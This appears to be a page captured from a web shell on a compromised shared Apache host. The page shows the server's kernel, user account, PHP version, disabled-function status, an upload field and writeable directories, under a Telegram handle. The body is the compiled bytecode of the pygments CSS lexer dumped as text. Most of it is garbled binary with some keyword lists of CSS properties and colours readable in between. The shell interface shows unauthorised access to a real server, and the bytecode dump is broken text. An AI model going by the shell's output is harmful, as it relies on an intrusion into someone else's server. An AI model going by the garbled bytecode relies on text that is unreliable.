https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/css.cpython-310.pyc
o

���a�|�@sdZddlZddlZddlmZmZmZmZmZm	Z	m
Z
ddlmZm
Z
mZmZmZmZmZmZmZgd�ZdZdZdZd	Zd
ZdZdZd
ZdZdZdZ eeeee Z!Gdd�de�Z"defdej#fdej$dfdej%fe	eddd�ej&fe	edd�ej'fe	ddd�ej(fdej)fdej*fdej+fde
j,d fd!e
j-fd"ej.fd#eej/ej0�fd$eej1ej0�fd%ej2d&fd'efd(efd)ej3d*fd+ej-d,fd-efgd.ej2d/fed0�gdefd1ej4d2fd3ej5d4fd5ej6d6fd7ej7fd%ej2d&fd8efd9efd)ej3d*fd+ej-d,fg
d:ej3fd%ej2d&fd)ej3d/fgd;ej-fd%ej2d&fd+ej-d/fgd<ej$fd%ej2d&fd=ej$d/fgd7ej4fd%ej2d&fed/�gd7ej5fd%ej2d&fed/�gd7ej6fd%ej2d&fed/�gd>ej+fed0�gd?�
Z8d@dA�Z9dBdC�Z:GdDdE�dEe�Z;GdFdG�dGe�Z<GdHdI�dIe"�Z=dS)Jz�
    pygments.lexers.css
    ~~~~~~~~~~~~~~~~~~~

    Lexers for CSS and related stylesheet formats.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�ExtendedRegexLexer�
RegexLexer�include�bygroups�default�words�inherit)	�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�
Whitespace)�CssLexer�	SassLexer�	ScssLexer�LessCssLexer)z-ms-zmso-z-moz-z-o-z-xv-z-atsc-z-wap-z-khtml-z-webkit-zprince-z-ah-z-hp-z-ro-z-rim-z-tc-(rz
align-contentzalign-itemsz
align-selfzalignment-baseline�all�	animationzanimation-delayzanimation-directionzanimation-durationzanimation-fill-modezanimation-iteration-countzanimation-namezanimation-play-statezanimation-timing-function�
appearance�azimuthzbackface-visibility�
backgroundzbackground-attachmentzbackground-blend-modezbackground-clipzbackground-colorzbackground-imagezbackground-originzbackground-positionzbackground-repeatzbackground-sizezbaseline-shiftzbookmark-labelzbookmark-levelzbookmark-state�borderz
border-bottomzborder-bottom-colorzborder-bottom-left-radiuszborder-bottom-right-radiuszborder-bottom-stylezborder-bottom-widthzborder-boundaryzborder-collapsezborder-colorzborder-imagezborder-image-outsetzborder-image-repeatzborder-image-slicezborder-image-sourcezborder-image-widthzborder-leftzborder-left-colorzborder-left-stylezborder-left-widthz
border-radiuszborder-rightzborder-right-colorzborder-right-stylezborder-right-widthzborder-spacingzborder-stylez
border-topzborder-top-colorzborder-top-left-radiuszborder-top-right-radiuszborder-top-stylezborder-top-widthzborder-width�bottomzbox-decoration-breakz
box-shadowz
box-sizingzbox-snapzbox-suppresszbreak-afterzbreak-beforezbreak-insidezcaption-side�caretzcaret-animationzcaret-colorzcaret-shape�chains�clear�clipz	clip-pathz	clip-rule�colorzcolor-interpolation-filterszcolumn-countzcolumn-fillz
column-gapzcolumn-rulezcolumn-rule-colorzcolumn-rule-stylezcolumn-rule-widthzcolumn-spanzcolumn-width�columns�contentzcounter-incrementz
counter-resetzcounter-set�crop�cuez	cue-afterz
cue-before�cursor�	direction�displayzdominant-baseline�	elevationzempty-cells�filter�flexz
flex-basiszflex-directionz	flex-flowz	flex-growzflex-shrinkz	flex-wrap�floatzfloat-deferzfloat-offsetzfloat-referencezflood-colorz
flood-opacity�flowz	flow-fromz	flow-into�fontzfont-familyzfont-feature-settingszfont-kerningzfont-language-overridez	font-sizezfont-size-adjustzfont-stretchz
font-stylezfont-synthesiszfont-variantzfont-variant-alternateszfont-variant-capszfont-variant-east-asianzfont-variant-ligatureszfont-variant-numericzfont-variant-positionzfont-weightzfootnote-displayzfootnote-policyzglyph-orientation-vertical�gridz	grid-areazgrid-auto-columnszgrid-auto-flowzgrid-auto-rowszgrid-columnzgrid-column-endzgrid-column-gapzgrid-column-startzgrid-gapzgrid-rowzgrid-row-endzgrid-row-gapzgrid-row-startz
grid-templatezgrid-template-areaszgrid-template-columnszgrid-template-rowszhanging-punctuation�heightzhyphenate-characterzhyphenate-limit-charszhyphenate-limit-lastzhyphenate-limit-lineszhyphenate-limit-zone�hyphenszimage-orientationzimage-resolutionzinitial-letterzinitial-letter-alignzinitial-letter-wrap�	isolationzjustify-contentz
justify-itemszjustify-self�leftzletter-spacingzlighting-colorz
line-breakz	line-gridzline-heightz	line-snapz
list-stylezlist-style-imagezlist-style-positionzlist-style-type�marginz
margin-bottomzmargin-leftzmargin-rightz
margin-topzmarker-sidezmarquee-directionzmarquee-loopz
marquee-speedz
marquee-style�maskzmask-borderzmask-border-modezmask-border-outsetzmask-border-repeatzmask-border-slicezmask-border-sourcezmask-border-widthz	mask-clipzmask-compositez
mask-imagez	mask-modezmask-originz
mask-positionzmask-repeatz	mask-sizez	mask-typez
max-heightz	max-linesz	max-widthz
min-heightz	min-widthzmix-blend-mode�motionz
motion-offsetzmotion-pathzmotion-rotationzmove-toznav-downznav-leftz	nav-rightznav-upz
object-fitzobject-positionzoffset-afterz
offset-beforez
offset-endzoffset-start�opacity�order�orphans�outlinez
outline-colorzoutline-offsetz
outline-stylez
outline-width�overflowzoverflow-stylez
overflow-wrapz
overflow-xz
overflow-y�paddingzpadding-bottomzpadding-leftz
padding-rightzpadding-top�pagezpage-break-afterzpage-break-beforezpage-break-insidezpage-policy�pausezpause-afterzpause-before�perspectivezperspective-origin�pitchzpitch-rangezplay-duringzpolar-anglezpolar-distance�positionzpresentation-level�quoteszregion-fragment�resize�restz
rest-afterzrest-before�richness�right�rotationzrotation-pointz
ruby-alignz
ruby-mergez
ruby-position�runningzscroll-snap-coordinatezscroll-snap-destinationzscroll-snap-points-xzscroll-snap-points-yzscroll-snap-typezshape-image-thresholdzshape-insidezshape-marginz
shape-outside�size�speakzspeak-aszspeak-headerz
speak-numeralzspeak-punctuationzspeech-rate�stressz
string-setztab-sizeztable-layoutz
text-alignztext-align-lastztext-combine-uprightztext-decorationztext-decoration-colorztext-decoration-lineztext-decoration-skipztext-decoration-stylez
text-emphasisztext-emphasis-colorztext-emphasis-positionztext-emphasis-styleztext-indentztext-justifyztext-orientationz
text-overflowztext-shadowztext-space-collapseztext-space-trimztext-spacingztext-transformztext-underline-positionz	text-wrap�top�	transformztransform-originztransform-style�
transitionztransition-delayztransition-durationztransition-propertyztransition-timing-functionzunicode-bidizuser-selectzvertical-align�
visibilityz
voice-balancezvoice-durationzvoice-familyzvoice-pitchzvoice-rangez
voice-ratezvoice-stresszvoice-volume�volumezwhite-space�widows�widthzwill-changez
word-breakzword-spacingz	word-wrapz
wrap-afterzwrap-beforez	wrap-flowzwrap-insidezwrap-throughzwriting-modezz-index(+�absolute�aliasrzall-petite-capsz
all-scrollzall-small-capsz	allow-end�alpha�	alternatezalternate-reverse�always�armenian�auto�avoidzavoid-columnz
avoid-page�	backwards�balance�baseline�below�blink�block�bold�bolderz
border-box�bothrzbox-decorationz
break-word�
capitalize�cell�center�circler �clone�close-quotez
col-resize�collapser!z
color-burnzcolor-dodge�columnzcolumn-reverse�compact�	condensed�contain�	containerzcontent-boxzcontext-menu�copy�coverzcrisp-edges�	crosshair�currentColor�cursive�darken�dashed�decimal�decimal-leading-zeror�descendants�
difference�digits�disc�
distribute�dot�dotted�doublez
double-circle�e-resizez	each-line�easezease-inzease-in-outzease-out�edges�ellipsis�endz	ew-resize�	exclusion�expanded�extra-condensed�extra-expanded�fantasy�fillzfill-box�filled�first�fixed�flatr+zflex-endz
flex-start�flipz	force-end�forwardsz
from-imagez
full-width�geometricPrecision�georgian�groove�hangingz
hard-light�help�hidden�hide�
horizontal�hue�icon�infiniter�initial�ink�inlinezinline-blockzinline-flex�inline-table�inset�insidez
inter-word�invert�isolate�italic�justify�large�larger�lastr3�lighten�lighter�line-through�linear�	list-item�local�loose�lower-alpha�lower-greekzlower-latin�lower-roman�	lowercase�ltr�	luminance�
luminosity�	mandatory�manipulation�manualz
margin-boxzmatch-parent�medium�mixed�	monospace�move�multiply�n-resize�	ne-resizeznesw-resize�no-close-quotezno-drop�
no-open-quote�	no-repeat�none�normalznot-allowed�nowrapz	ns-resize�	nw-resizeznwse-resize�objects�oblique�off�on�open�
open-quote�optimizeLegibility�
optimizeSpeed�outset�outside�over�overlay�overlinezpadding-boxr=zpan-downzpan-leftz	pan-rightzpan-upzpan-xzpan-y�pausedzpetite-caps�	pixelated�pointerzpreserve-3d�progress�	proximity�relative�repeatzrepeat no-repeat�repeat-x�repeat-y�reverse�ridgerF�round�rowz
row-resizezrow-reverse�rtl�rubyz	ruby-basezruby-base-containerz	ruby-textzruby-text-containerzrun-inrH�s-resize�
sans-serif�
saturationz
scale-down�screen�scroll�	se-resize�semi-condensed�
semi-expanded�separate�serif�sesame�show�sidewaysz
sideways-leftzsideways-right�slice�small�
small-caps�smaller�smooth�snapz
soft-light�solid�spacezspace-aroundz
space-between�spaces�square�start�staticzstep-endz
step-start�sticky�stretch�strictz
stroke-box�style�	sw-resize�table�
table-caption�
table-cell�table-column�table-column-group�table-footer-group�table-header-group�	table-row�table-row-group�text�thick�thinztitling-caps�torL�triangle�ultra-condensed�ultra-expanded�under�	underline�unicase�unset�upper-alpha�upper-latin�upper-roman�	uppercase�uprightzuse-glyph-orientation�verticalz
vertical-textzview-box�visible�w-resize�wait�wavy�weightzweight style�wrapzwrap-reverse�x-large�x-small�xx-large�xx-smallzzoom-inzzoom-out)��	aliceblue�antiquewhite�aqua�
aquamarine�azure�beige�bisque�black�blanchedalmond�blue�
blueviolet�brown�	burlywood�	cadetblue�
chartreuse�	chocolate�coral�cornflowerblue�cornsilk�crimson�cyan�darkblue�darkcyan�
darkgoldenrod�darkgray�	darkgreen�darkgrey�	darkkhaki�darkmagenta�darkolivegreen�
darkorange�
darkorchid�darkred�
darksalmon�darkseagreen�
darkslateblue�
darkslategray�
darkslategrey�
darkturquoise�
darkviolet�deeppink�deepskyblue�dimgray�dimgrey�
dodgerblue�	firebrick�floralwhite�forestgreen�fuchsia�	gainsboro�
ghostwhite�gold�	goldenrod�gray�green�greenyellow�grey�honeydew�hotpink�	indianred�indigo�ivory�khaki�lavender�
lavenderblush�	lawngreen�lemonchiffon�	lightblue�
lightcoral�	lightcyan�lightgoldenrodyellow�	lightgray�
lightgreen�	lightgrey�	lightpink�lightsalmon�
lightseagreen�lightskyblue�lightslategray�lightslategrey�lightsteelblue�lightyellow�lime�	limegreen�linen�magenta�maroon�mediumaquamarine�
mediumblue�mediumorchid�mediumpurple�mediumseagreen�mediumslateblue�mediumspringgreen�mediumturquoise�mediumvioletred�midnightblue�	mintcream�	mistyrose�moccasin�navajowhite�navy�oldlace�olive�	olivedrab�orange�	orangered�orchid�
palegoldenrod�	palegreen�
paleturquoise�
palevioletred�
papayawhip�	peachpuff�peru�pink�plum�
powderblue�purple�
rebeccapurple�red�	rosybrown�	royalblue�saddlebrown�salmon�
sandybrown�seagreen�seashell�sienna�silver�skyblue�	slateblue�	slategray�	slategrey�snow�springgreen�	steelblue�tan�teal�thistle�tomato�	turquoise�violet�wheat�white�
whitesmoke�yellow�yellowgreen�transparent)9�above�aural�behind�
bidi-override�center-left�center-right�cjk-ideographic�
continuousr$�cross�embed�far-left�	far-right�fast�faster�hebrew�high�higher�hiragana�hiragana-iroha�katakana�katakana-iroha�	landscape�	left-side�	leftwards�level�loud�low�lower�message-box�middle�mix�narrower�once�portrait�
right-side�
rightwards�silent�slow�slower�
small-caption�soft�	spell-out�
status-bar�super�text-bottom�text-top�wider�x-fast�x-high�x-loud�x-low�x-soft�yes�prezpre-wrapzpre-line)?�attr�	blackness�blend�blenda�blur�
brightness�calcrgz	color-mod�contrast�counterzcubic-bezierzdevice-cmykzdrop-shadow�ellipser\�	grayscale�hsl�hslar�z
hue-rotate�hwb�imager�r��	lightnesszlinear-gradient�matrix�matrix3dr7r?�polygonzradial-gradient�rectzrepeating-linear-gradientzrepeating-radial-gradient�rgb�rgba�rotate�rotate3d�rotateX�rotateY�rotateZ�saturater��scale�scale3d�scaleX�scaleY�scaleZ�sepia�shade�skewX�skewY�steps�tint�toggle�	translate�translate3d�
translateX�
translateY�
translateZ�	whiteness)�deg�grad�rad�turn)�Hz�kHz)�em�ex�ch�rem�vh�vw�vmin�vmax�px�mm�cm�in�pt�pc�q)�dpi�dpcm�dppx)�s�msc@s8eZdZdZdZdgZdgZdgZed�gde	fde
fd	ed
fdeee
j�fdeee
j�fd
eee
j�fdeee�dfde
jfdefdejfdejfgd	edfdedfed�ged�dedfgde	fdedfdefde
jfee�ejfdd�e�deee	e�dfdee
je	e�dfdee
e	e�dfde
fg	de	fee�e
jjfed �dd�e�d!ee
je�d"fd#ee
j e�d"fee!d$d%�ej"fee#d$d%�ej"fee$d$d%�ej"feed$d%�efd&e
jfde
fed'�d(efd)efdejfdejfd*e
fdedfdedfgde	fd+e
jfed �ee�ejfee!d$d%�ej"fee#d$d%�ej"fee$d$d%�ej"fdd�e�d!ee
je�d"fd#ee
j e�d"fde
fed'�d,efd-efdejfdejfd.e
fd/edfgd0ee
jeeje�fd1ee
jeeje�fd2ee
jeej%e�fgd3e&j'fd4e&j(d5fd6e&j)d5fgee*d$d%�ej+fd7ej+fe,d�gd8�
Z-d9S):rz+
    For CSS (Cascading Style Sheets).
    �CSS�cssz*.cssztext/css�basics�\s+z/\*(?:.|\n)*?\*/�\{r#z(\:{1,2})([\w-]+)z(\.)([\w-]+)z(\#)([\w-]+)z(@)([\w-]+)�atrule�[\w-]+z[~^*!%&$\[\]()<>|+=@:;,./?-]z"(\\\\|\\[^\\]|[^"\\])*"z'(\\\\|\\[^\\]|[^'\\])*'�	atcontent�;�#pop�\}z#pop:2z^@.*?$�(�|z
)(\s*)(\:)�value-startz([-]+[a-zA-Z_][\w-]*)(\s*)(\:)z([a-zA-Z_][\w-]*)(\s*)(\:)�urlsz)(\()�function-startz([a-zA-Z_][\w-]+)(\()�\b��suffixz\!important�numeric-valuesz[~^*!%&<>|+=@:./?-]+z
[\[\](),]+z[a-zA-Z_][\w-]*z[-]+([\w+]+[-]*)+z[*+/-]�,z
[a-zA-Z_-]\w*�\)z(url)(\()(".*?")(\))z(url)(\()('.*?')(\))z(url)(\()(.*?)(\))z\#[a-zA-Z0-9]{1,6}z[+\-]?[0-9]*[.][0-9]+�numeric-endz[+\-]?[0-9]+�%)
�rootr<r?rAr#rGrIrHrMrPN).�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypesrrr
rrr
�	Decorator�Class�	Namespacer�Tagrr�Double�Single�Preprocr�_vendor_prefixes�Pseudo�join�_css_properties�Variable�Builtin�#_functional_notation_keyword_values�Function�_keyword_values�Constant�_other_keyword_values�_color_keywords�Otherr�Hex�Float�Integer�
_all_units�Typer�tokens�ruru�5/usr/lib/python3/dist-packages/pygments/lexers/css.pyrs���������������
�
�
��	

��
�r�[ \t]+z
[!$][\w-]+zurl\(�
string-urlz[a-z_-][\w-]*(?=\())�r�rSrWrXr�rYrZr]r�r^r�r_r`rarbrcrdr�r�rfrgr�rirjrmr�rrr�rtrvrxrwrr{r|rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r.r�r�r�r�rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrr	r
rrr�r�r
rr�rrrrrrr�urlrrrr�r�r�r#r�r�r$r�r%r&r�rJrK)r.r�r\r�r}r�r�rWr]ryr�r�r�r0r�r)z\!(important|default)z(true|false)z(and|or|not)z/\*�inline-comment�//[^\n]*z\#[a-z0-9]{1,6}z(-?\d+)(\%|[a-z]+)?z(-?\d*\.\d+)(\%|[a-z]+)?�#\{�
interpolationz[~^*!&%<>|+=@:,./?-]+z	[\[\]()]+�"�
string-double�'�
string-singlez
[a-z_-][\w-]*rDrC�valuez\:�pseudo-classz\.�classz\#�idr@�&z[~^*!&\[\]()<>|+=@:;,./?-]z(\\.|#(?=[^\n{])|[^\n"#])+z(\\.|#(?=[^\n{])|[^\n'#])+z(\\#|#(?=[^\n{])|[^\n#)])+rOz(from|to|through))
r�r}�selectorrr�rxr�r�r��forccs��|�d�}|��t|fV||_|��|_t|d�r2|jr2|�|j	�r2||j	kr2|j
�|j�dSd|_d|_	|j
�d�dS)Nr�block_stater#)�groupr�r�last_indentationr��pos�hasattrr��
startswith�block_indentation�stack�append)�lexer�match�ctx�indentationrururv�_indentation�s�


�
r�cs��fdd�}|S)Nc3sF�|���|�d�fVt|d�r|j|_nd|_�|_|��|_dS)Nrr��)r�r�r�r�r�r�r�r�)r�r�r���state�tokenrurv�callbacks�

z_starts_block.<locals>.callbackru)r�r�r�rur�rv�
_starts_block
sr�c@s�eZdZdZdZdgZdgZdgZej	ej
BZdefde
fgdeejd	�d
fdeejd�d
fd
edfdedfdedfdeeeej�dfdeeeej�dfdedfdedfdejdfdejdfdeeje�dfdejdfdejdfed�gdejfd ed
fgdejfd ed
fgd!efd"efd ed
fgd#ejfd$ejd%fd&eee�dfed�gd#ejfd$ejd%fd'eee�dfgd(ejfd$ejd%fd)ed*fgd+�Ze��D]\Z Z!e"�"e!�ee <q�ed�#d ed
f�ed�#d ed
f�d,S)-rz:
    For Sass stylesheets.

    .. versionadded:: 1.3
    �Sass�sassz*.sassztext/x-sassz[ \t]*\nz[ \t]*r{�single-commentrRz	/\*[^\n]*�
multi-comment�@import�import�@forr��@(debug|warn|if|while)r�z(@mixin)( )([\w-]+)z(@include)( )([\w-]+)�@extendr��@[\w-]+z=[\w-]+z\+[\w-]+z&([!$][\w-]\w*)([ \t]*(?:(?:\|\|)?=|:))�:�old-style-attrz(?=.+?[=:]([^a-z]|$))�new-style-attrz.+�\nrwz\S+�[^\s:="\[]+r|r}z([ \t]*)(=)z([ \t]*)([=:])z'(\\#|#(?=[^\n{])|\*(?=[^\n/])|[^\n#*])+�\*/rC)rRr#r�r�r�r�r�rzN)$rSrTrUrVrWrXrYrZ�re�
IGNORECASE�	MULTILINE�flagsrr�r�r
r`�	Multilinerrr
rir[rfr�	Attributerr�Interpolrt�common_sass_tokens�itemsr��commonrpr�rurururvrsx���

�

����
�
�
��>rc@sReZdZdZdZdgZdgZdgZej	ej
BZdefde
jfde
jfd	ed
fdedfd
ed
fdeeej�d
fdeeej�d
fdedfdeee�d
fdedfdeeje�d
fed�g
dejfdejdfded
fed�gde
jfdejdfde
dfgd�Ze��D]\ZZe � e�ee<qed
�!defde"dfg�ed�!defde"dfg�dS) rz
    For SCSS stylesheets.
    �SCSS�scssz*.scssztext/x-scssr=z//.*?\nz	/\*.*?\*/r�r�r�r�r�z(@mixin)( [\w-]+)z(@include)( [\w-]+)r�r�z
(@media)(\s+)r�z(\$[\w-]*\w)([ \t]*:)r�r|r}z[ \t]*:rCz!(\\#|#(?=[^{])|\*(?=[^/])|[^#*])+r�)rRr�rzr�z[;{}]N)#rSrTrUrVrWrXrYrZr�r��DOTALLr�rr
r`r�rrr
rir[rfrrr�rr�rtr�r�r�r�rp�extendrrurururvrnsF�
�
��! rc@sLeZdZdZdZdgZdgZdgZdej	fe
gdedfd	ej
fe
gd
�ZdS)rzR
    For `LESS <http://lesscss.org/>`_ styleshets.

    .. versionadded:: 2.1
    �LessCss�lessz*.lessztext/x-less-cssz@\w+r>z#pushz//.*\n)rRr#N)rSrTrUrVrWrXrYrZr
rfrrr
r`rtrurururvr�s��
�r)>rVr�rp�pygments.lexerrrrrrrr�pygments.tokenr	r
rrr
rrrr�__all__rbrerjrmrlrh�_angle_units�_frequency_units�
_length_units�_resolution_units�_time_unitsrrrrfrnrirk�Entityrg�	Exceptionrc�Wordr�r`rorqrsrpr�r_r[r\r]r^r�r�r�rrrrurururv�<module>s�
$,`8 

��}
����



�
:�





�

�

�

�
�
�
���wR2

https://t.me/RX1948 - 2025